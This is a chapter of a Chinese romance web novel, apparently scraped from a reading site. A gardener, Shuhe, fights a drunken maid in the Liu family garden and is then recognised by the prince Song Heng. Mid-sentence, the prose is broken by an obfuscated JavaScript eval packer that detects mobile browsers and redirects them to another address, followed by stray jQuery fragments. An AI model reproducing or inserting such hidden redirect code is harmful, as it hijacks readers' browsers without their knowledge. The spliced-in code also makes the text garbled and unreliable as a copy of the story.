3. 贵人仪仗

作品:《没在种花,在向殿下扔泥巴

    说话间,已经到达柳府。


    姝禾左瞻右顾、心事重重地进了门。


    五进大宅门庭显赫,雕栏画栋自不用说,他们一群人却都被领到内院,同普通仆役无异,四散到各处。饶是心气高傲的许娘子,此刻也低眉敛声地听从摆布。


    最后,阿四领着姝禾来到后花园的一处芳苑,进了宝瓶门,绕过假山,入目满眼的姹紫嫣红,花气袭人,恍惚间不像冬日,一群仆从正小心护理着那娇红牡丹。


    姝禾并未见识到传闻中的“玉骨香”,如此名品,恐怕是要作为重头戏亮相,一般要移放在中堂旁的玻璃暖阁内的,想来此处是远离宴席中心的,姝禾心中稍许轻松了些。


    随即,她的目光便移到园内东南角那棵遒劲的青松上,这一抹松绿,在这满目花海中十分显眼。


    家仆们已清理完步道的积雪,晨光熹微,只见雪后青松挺直,晶莹剔透下更显苍翠。


    姝禾脱下披风,束起攀膊,细细查看了青松枝条。这棵老松,是自己老家落松镇的品种,主干挺拔,侧枝遒劲,不知柳家从何处搜寻得来。前几个月,下地后因照料不当、一度枯黄,在姝禾手里恢复了绿意,此时栽在这院中,很是相宜。


    也许还是出自祖父之手,她伸手抚摸它的虬干,黯然地想。


    多年前,落枫镇大火,镇子里的松树烧死了大半,剩余的也枯的枯、病的病,能搜罗到这样一棵老松,实属不易,恐怕也只有柳家有这个能耐。


    姝禾感慨万千,只是眼前这树的修剪,她不能左右。


    “若是我来养护,必不会给你剪这呆子头。”


    老松像是听懂了似的,一枝抖落,姝禾避让不及,掉了她一袖子的雪团,冻得人只甩手。


    阿四见状“哎哟”一声。


    “娘子,果然还是要一一扫落吧?万一贵客上门也这般,着实不太好看啊。”


    姝禾拍了拍身上的落雪,又爬上一旁的三角木梯,检查高一点的松枝。远处柳府大院的绿檐红璧尽收眼底,更远处,天光大亮、天门洞开,不免觉得心中开阔。


    “晨光一亮,雪后青松浑身洒金。”她低头朝阿四笑道,“吉兆。”


    阿四被她的笑感染,抬头看了一会儿,也傻呵呵笑了两声:“果真如此。”


    姝禾急着走,便趁机说道:“我将这松散雪团清理掉,你差人再清扫下地面,顶上积雪不用动,你看如何?”


    阿四点头,自己却又不敢定夺,赶忙一溜烟跑出去禀告。谁料一出园,迎面撞上一个绯色身影。


    阿四抬头一看,正是官服整备的柳朔风。


    “何事慌慌张张的?”


    阿四道:“大郎,为了那棵青松,请了花匠来看,说是……”


    “左右不过一棵树!交由花匠定夺就是。”柳朔风摆摆手,皱眉道,“贵客来得早,马上登门,去前门接应!”


    阿四挠挠头应下,忙跟在他身后小跑着过去。


    收拾停当,天光早已大亮了。


    未见阿四身影,姝禾心里嘀咕:这董国夫人治家未免太过松散,没个章法。


    她心中存着事,惦记着要尽快离开,便自作主张,搬开木制脚架,自己四处张望,想找个侧门离开。


    此时,恰有柳府一婆子经过苑门,昨夜她饮了几杯酒正要歇息,偏逢夜半大雪,府中仆从尽数被唤起来救急当值,心中早已积了一腔火气,熬至清晨,忽见苑内立着个面生小娘子,左顾右盼,当即寻到了宣泄之处。


    “众人都撤了,你一个人还在这儿作甚?”她掐着腰,气势汹汹走过来,“惊扰了贵人,你担待得起?是何人手下带出来的?”


    姝禾转过身来:“嬷嬷错认了,我是受邀的眷属。”


    那婆子打量了她一眼,粉黛未施、粗布粗服的,上不得台面,心里估摸着就是这次宴席采买的奴仆,便胆大起来。


    “嚯!哪门子的眷属大清早在后院干粗活!休要诳我。”她伸手扯住姝禾手臂,直往她腕间扫去,想看看有无值钱首饰,"看你探头探脑!分明是个想偷窃的贱婢!"


    “哎哎?你这老货。”


    姝禾甩开手,闻到一股酒气,她不愿纠缠,便喝道,“莫要惹我!也不睁眼看看,你姑奶奶身上何曾有半分外物!”


    那婆子没想到她看着纤柔,说起话来却十分粗鲁泼辣,一时没反应过来,只能“你、你!”的以手指她。


    “你什么你!柳家的婆子就这个水平吗?柳府就是这样待客的吗?”


    婆子见她气势十足,自己虽心虚,但不愿嘴软,看她的装扮,也知道并非权贵,便心硬着要走到黑,当下便又冲上去死死扣住姝禾一只手臂:


    “来人呐,快来人呐!抓着一个贼啊!”


    姝禾火冒三丈,无缘无故被这人死缠上,真是流年不利。此刻顾不了许多,她一心急着走,便使力一甩,把那婆子甩的一个踉跄,怕她又要扯自己衣物,姝禾当下又反手扯住那婆子的发髻。


    她身量高挑,长手一把薅住婆子的发根,把她拽得嗷嗷叫,对方却碰不到她,两人就这么滑稽地厮打起来。


    “……那棵老松……也难为你们……”


    这边,姝禾正压制着婆子,几乎要骑到她背上去,忽然听见苑外响起谈话声,随即有窸窸窣窣的踏雪声响起。


    二人一愣,都停了手。


    “糟了糟了!”那婆子突然睁大双眼,酒是彻底醒了,她慌不择路,可怜头发还薅在姝禾手里,又是被勒出猪叫。


    姝禾也是瞬间反应过来,生生惊出一身冷汗,立刻松了手要逃,但贵人的仪仗已经移到苑内了。


    出门不及,她只得避到回廊里,屈膝跪下。谁料慌乱中,反而和被簇拥着进院的玄衣男子短暂对上了视线。


    看到紧随其后黑压压的绯衣随从们,鱼贯进了这苑内,她脑中一片空白。


    完了。


    有那么一瞬间,风卷起一缕雪丝落入她失神的眼里,冷气让她回过神来,这才感觉到青石板湿滑冰冷,冻得她膝盖发疼。


    “臣瞧着青松傲雪,倒也别有一番风骨,殿下以为如何?”


    紧跟其后回禀的,应该便是年轻的工部侍郎柳朔风,丰神俊逸、名动京中的美名在外。原本想着今天一睹其风采——此刻,姝禾也早没了心思,只得伏在地上盯着地砖的纹路。


    没听到玄衣男子的答话,她魂魄如游丝一线,但衣袂翻飞,这仪仗已然随着他的脚步,来到了她跟前。


    这时,柳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480491|201708||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    朔风才发现,这廊内还跪着两个人,他皱着眉要回头找人,但管家一干人等均被齐王的侍卫拦在苑外。


    那婆子老眼昏花,什么便宜也没有讨到,还被姝禾揍到了痛处,此时一把眼泪一把鼻涕地率先哭诉:


    “郎君,这个贱婢好不凶悍!把我老婆子一顿揍……方才都骑到小人背上了!”


    “还不快住口!”


    柳朔风掩鼻也挡不住那股酒臭气,见这二人衣衫凌乱、蓬头垢面的,气不打一处来,抬眼见齐王脸色不妙,忙和齐王的内侍陈福泉交换了个眼色。


    姝禾缩着脖子,在她瞥见那婆子被堵着嘴拖出去之后,心想:他说不定没认出来自己,真这么蜷缩着被拖出去也好……


    谁料,在侍卫来拖她前,眼前大氅翻动,她已经被一只手拉起来了,透过湿透的袖子,能够清晰感受到对方掌心的温热。


    经年已久,他的气息已经陌生到不会再引起她的愁绪,但她不敢抬头,盲目地注视着那绣着金线的裾角。


    柳朔风和陈福泉均是一愣。


    “殿下,仔细冻了手。”


    陈福泉低声提醒,实则是怕年轻的皇子失仪。


    宋珩及时反应过来,松了手,姝禾就势再次恭恭敬敬地跪了下来。


    面前人,一时无声。


    雪后的地面冻得刺骨,听得那内侍又请示了两遍,那人仍旧一言不发。


    姝禾一个人跪着,咬牙苦撑,不知道她的头顶有什么可看的。


    柳朔风见她面生,穿得也朴素可怜,心生不忍,也当她是新采买的奴仆,只得试探着询问:


    “殿下,有何……不妥?”


    他终于出声,语气里听不出波澜来。


    “抬头。”


    姝禾咬了咬唇,吸了一口气,才慢慢抬起了头,直视他的眼睛。


    七年岁月就这么过去,面前人早已从惴惴不安的之藩皇子,一步步接近权力中心,从俊美中剥除了一丝软弱,成为丰神俊逸的储君人选了。


    那双眼睛,仍旧能看出年少时的清隽模样。


    冷风令她眨了眨眼睛,就有水汽翻卷上来。此刻,从他淬着寒星的眼里,她只能望见一个狼狈不堪的自己。


    她不可避免地想起过去。这个世道,人人都歆羡高门权贵,她却曾经心生妄念、暗自怅恨过:他为何不是个穷书生,不是市井贩夫,不是邻家阿兄?


    齐王身后的陈福泉疑惑丛生,为何他会对一个寻常花匠愣神,眼前女子不过一身嫩黄色素衣平民打扮,攀膊大概是卸得匆忙,仍旧半挽在臂上,和人在这雪地里争执的两颊绯红。


    他是宋珩身边的大监,跟随宋珩多年,十分了解他的性子。正如京中传言那般,他对女色从未流露过兴趣,持重守节到令人生疑的地步。


    但此刻,在对上女子抬起的脸庞后,他身形踉跄了半步,几乎是立刻甩袖转了身,原本平静淡漠的脸上,却有一闪而过的惊惶之色。


    陈福泉见机行事,上前搀扶,发现他整个人竟然在微微颤抖。


    柳朔风更是不知如何是好,见气氛不对,便要上前请罪,也被宋珩摆手拦住。


    他进退两难,只听到齐王低声吩咐了一句,便在人搀扶下,疾步出了苑门。